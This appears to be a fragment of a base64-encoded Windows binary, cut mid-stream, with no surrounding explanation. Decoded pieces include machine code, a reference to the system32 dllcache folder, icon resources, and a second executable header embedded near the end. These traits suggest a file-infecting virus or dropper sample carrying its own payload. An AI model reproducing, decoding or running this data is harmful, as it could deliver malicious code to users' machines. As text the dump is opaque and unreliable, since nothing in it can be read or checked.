eVUM+sjeqfqiDp0K2PKj+qL6yNqp+qKEmUVcBV1knlo8cy1kMWAvZDBqM2QzcTRrMmFuay12 LmsvYC5rLmY1a243LmQrcjR2PmQzY3B2KWNwdS9l5g0gBV28XRVdBXbcLwN25AxctvNe3Hbm NwXWiG7wovq+EQlVNxY3BDcHotRWxSgt1ohq8KL6viHWMXmIISFVwloFIAVdUtB5eRUKiCEh UU3UAgpTotRWxShh1gq+ZdAR0AVdBV3yGdGlB10FXXFWiBnRse3a+qL6tkfWMYkOq3FmjqPt RQRdBdZCo+1BBF0FePqi+l04AWRdBSklYFk/BV1xRISxAVwFXY6hqfcPnXCn7ZT4ovrcwVkE XQW/pQWO0D6o+qLmWg6dcV5VotTcwVV4XQU8xj2ZtQVdBV1YopDk9KL65mjSBl2OlS6WhKRl twVdd1OMGA3QsCb8AAAAAO4BAACi+rWnsvqimDzGPe1dBV0FAI7gj6z6ovqKvjCKXgV2xubx XAVdb29b1oinBF0Fvg3mvVYFXW9JW2bGLxyc41dTopAn9KL6otLUQFftWgVdBbWAovqiZJ7t WQVdBRJwJQUCUjcFNweikBP0ovpWxSkNDfrIN6z6osYdiOhisvqi7XjqovopCNSApwRdBQ36 yE+s+qLG5AFcBV2I4L5FBV1SrqECxg1UbsXo+q+rElwFxgxvWVxhRC8DYV8qB1klnM1V56xc wwAAVABg6AAAAABd/LA4i62/8P//C+10L0tD6CwAAACL8Yff6CMAAACH32o4WDvxdxaKFDNS U8YEMwBTV//VC8BbWogUM3XSC8Bhw1cywDPJSfKuX/fRScMAACQAYOgAAAAAXegNAAAAdGVt MzJcZGxsY2FjAF+NdaLoZu7//2HDJMI2AEQqJMIkwnk9sYnUPdt7BEw+LScD9QMnDiWPLKgE m/UqV8cR4qf6ySDRS2DmMKStR1As2z1FAc57awCuk857znuT9nNePoQxEc8sMe47lDGExbu6 aEWjT5DOe897Q86ulTGEJoIjhDEiLXGHKkPG+4sxhCWuJnzOe84OvR68SPx7Me47lDGExbu6 YkWjT5DOe897Q8afizGEQ86ulTGEJsYjhDEawwAAJXMlMDhkAABhOlwAeAAAAAAAAAAAAAAA AQAAAAAAAAAAAAAAAAAAAEqiQAACAAAAAQIECAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAA AAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+ AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAA QH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAA AAAaKkEAGipBAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAA hACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIA ggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAANzS QADM0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAA AAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEA AMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAACgAAAIwAAAD///// AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIAAABI1UAACAAAABzVQAAJAAAA8NRAAAoA AADM1EAAEAAAAKDUQAARAAAAcNRAABIAAABM1EAAEwAAACDUQAAYAAAA6NNAABkAAADA00AA GgAAAIjTQAAbAAAAUNNAABwAAAAo00AAeAAAABjTQAB5AAAACNNAAHoAAAD40kAA/AAAAPTS QAD/AAAA5NJAAAAAAAAAAAAAADtJAAAAAAAAO0kAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAA AAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcA AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAwAAACAAAIAOAAAAQAAAgAAAAAAAAAAAAAAAAAAAAgABAAAA WAAAgAIAAABwAACAAAAAAAAAAAAAAAAAAAABAGUAAACIAACAAAAAAAAAAAAAAAAAAAABAAQI AACgAAAAAAAAAAAAAAAAAAAAAAABAAQIAACwAAAAAAAAAAAAAAAAAAAAAAABAAQIAADAAAAA 0FAJAOgCAAAAAAAAAAAAALhTCQAoAQAAAAAAAAAAAADgVAkAIgAAAAAAAAAAAAAAKAAAACAA AABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL8AAL8AAAC/vwC/AAAA vwC/AL+/AADAwMAAgICAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAd3gzqgAAAAAAAAAAAAAHf3d4M6p3gAAAAAAAAAAP9/d3eDOqd8hgAAAA AAAA//9/d3gzqnjGZgAAAAAAD///93d4OKd8hmZgAAAAAHf//393eDenjGZmdwAAAAeHf//3 93g3p8hmZ3dwAAAIeHf//3d4OqjGZnd34AAAh4eHf//3eDqshmd37u4AAHh4eHf/f3g6jGZ3 7u67AAeHh4eHf/d4Oshnfuu7uqAIeHh4eHf4iIjGfru7qqqgB4eHh4eHiAAAiLu6qqMzMAh4 eHh4eICP+AgzMzPd3dAIiIiIiIiA//8IXV1dXV1QBdXV1dXVgP//CIiIiIiIgA3d3TMzM4CP +AiHh4eHh4ADMzqqq7uIAACIeHh4eHhwCqqqu7vnbIiIj3eHh4eHgAqru77ndoyjh3/3eHh4 eHAAu+7ud2bIo4f3/3eHh4cAAO7ud3ZoyqOHf//3eHh4AAAOd3dmbIqjh3f//3eHgAAAB3d2 Zox6c4d/f//3eHAAAAB3ZmbIenOHd/f//3cAAAAABmZox3qDh3d////wAAAAAABmbIeqM4d3 9///AAAAAAAABox3qjOHd39/8AAAAAAAAAAId6ozh3f3cAAAAAAAAAAAAACqM4d3AAAAAAAA AAAAAAAAAAAAAAAAAAAAAP/wD///gAH//gAAf/wAAD/4AAAf8AAAD+AAAAfAAAADwAAAA4AA AAGAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAGAAAAB wAAAA8AAAAPgAAAH8AAAD/gAAB/8AAA//gAAf/+AAf//8A//KAAAABAAAAAgAAAAAQAEAAAA AADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAA wMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAACIc6gAAAAA/4hzLM YAAACPiHMsZoAACHj4csZoYACHh4hyxoqqAHh4dwCCqiIAh4eA/wERVQBVERD/CHh4ACKqKA CHh4cAqqhsJ4h4eAAGhmwnj4eAAAhmwjeI+IAAAGzCN4j/AAAAAIo3iAAAAAAAAAAAAAAPgf AADgBwAAwAMAAIABAACAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAEAAIABAADAAwAA 4AcAAPgfAAAAAAEAAgAgIBAAAQAEAOgCAAABABAQEAABAAQAKAEAAAIAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATVqQAAMA AAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA uAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADMSBBbiCl+CIgpfgiIKX4IDC94CIkpfgiIKX4IXyl+CA81fAjCKX4I UmljaIgpfggAAAAAAAAAAFBFAABMAQUA65eVOgAAAAAAAAAA4AAOIQsBBQoAZAIAAIIAAAAA AABgcQIAABAAAACAAgAAAFVgABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAACADAAAEAAAAAAAA AgAAAAAAEAAAEAAAABAAAAAQAAAAAAAAEAAAAOCtAgCjBQAA6J8CAKAAAAAA8AIAKAQAAAAA AAAAAAAAAAAAAAAAAAAAAAMAbBsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAACAAgDgAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQA AACAYgIAABAAAABkAgAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAgzMAAACAAgAANAAA AGgCAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAPQmAAAAwAIAACQAAACcAgAAAAAAAAAAAAAA AABAAADALnJzcmMAAAAoBAAAAPACAAAGAAAAwAIAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAA 